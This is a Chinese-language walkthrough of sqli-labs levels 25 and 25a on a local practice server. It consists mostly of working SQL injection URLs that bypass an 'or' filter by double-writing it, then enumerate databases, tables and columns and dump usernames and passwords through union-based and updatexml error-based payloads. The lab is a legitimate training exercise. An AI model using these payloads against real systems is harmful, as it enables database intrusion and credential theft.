sqli-labs闯关笔记-less25-less25a-双写绕WAF


less25

1. http://localhost:8001/sqli-labs/less-25/?id=1显示正常
2. http://localhost:8001/sqli-labs/less-25/?id=1' 此时报错,说明存在漏洞
3. http://localhost:8001/sqli-labs/less-25/?id=1' order by 3 --+ 使用order by 语句发现报错,无法使用。通过自己的注释发现or被过滤掉了。

SELECT * FROM users WHERE id='1' der by 3 -- ' LIMIT 0,1
4. Hint: Your Input is Filtered with following result: 1' der by 3 -- 网页里,作者给出了一个提示,发现or被过滤了,我们尝试双写
5. http://localhost:8001/sqli-labs/less-25/?id=1' oorrder by 1 --+ 返回正常,可以进行测试,最后知道有3列
6. 双写的情况下,我们开始测试
1.http://localhost:8001/sqli-labs/less-25/?id=-1' union select 1,2,3 --+ 获得回显位置
2. http://localhost:8001/sqli-labs/less-25/?id=-1' union select 1,2,schema_name from infoorrmation_schema.schemata --+ 根据提示我们可以到所有的or都被替换了,所以所有位置的or都需要写两次
3. http://localhost:8001/sqli-labs/less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+ 取出所有的库
4.http://localhost:8001/sqli-labs/less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479--+取出所有的表
5. http://localhost:8001/sqli-labs/less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 取出所有的字段
6. http://localhost:8001/sqli-labs/less-25/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 取出字段中的值
当我们使用or ->||的时候:
1. http://localhost:8001/sqli-labs/less-25/?id=-1' oorr 1=1 --+ 判断存在注入
2. http://localhost:8001/sqli-labs/less-25/?id=-1' oorr updatexml(1,concat(0x7e,(database()),0x7e),1) --+ 爆出当前数据库
3. http://localhost:8001/sqli-labs/less-25/?id=-1' oorr updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1) --+ 遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整

less25a

不用单引号闭合。代码对or进行了过滤,要双写or。
1、正常访问
http://localhost:8001/sqli-labs/less-25a/?id=1
2、判断注入点,加单引号有报错,证明存在注入点。
http://localhost:8001/sqli-labs/less-25a/?id=1'
3、判断闭合符号,根据下面sql语句发现无需闭合。
SELECT * FROM users WHERE id=1 LIMIT 0,1
4、查看有多少字段,利用order by语句。此时发现过滤了or,要双写
http://localhost:8001/sqli-labs/less-25a/?id=1 oorrder by 3--+
5、查看回显数据
http://localhost:8001/sqli-labs/less-25a/?id=-1 union select 1,2,3 --+
6、查当前数据库,返回的数据库名为security
http://localhost:8001/sqli-labs/less-25a/?id=-1 union select 1,2,database() --+
7、查数据库
http://localhost:8001/sqli-labs/less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+
8、查表
http://localhost:8001/sqli-labs/less-25a/?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479--+
9、查字段
http://localhost:8001/sqli-labs/less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273 --+
10、查字段的值
http://localhost:8001/sqli-labs/less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users --+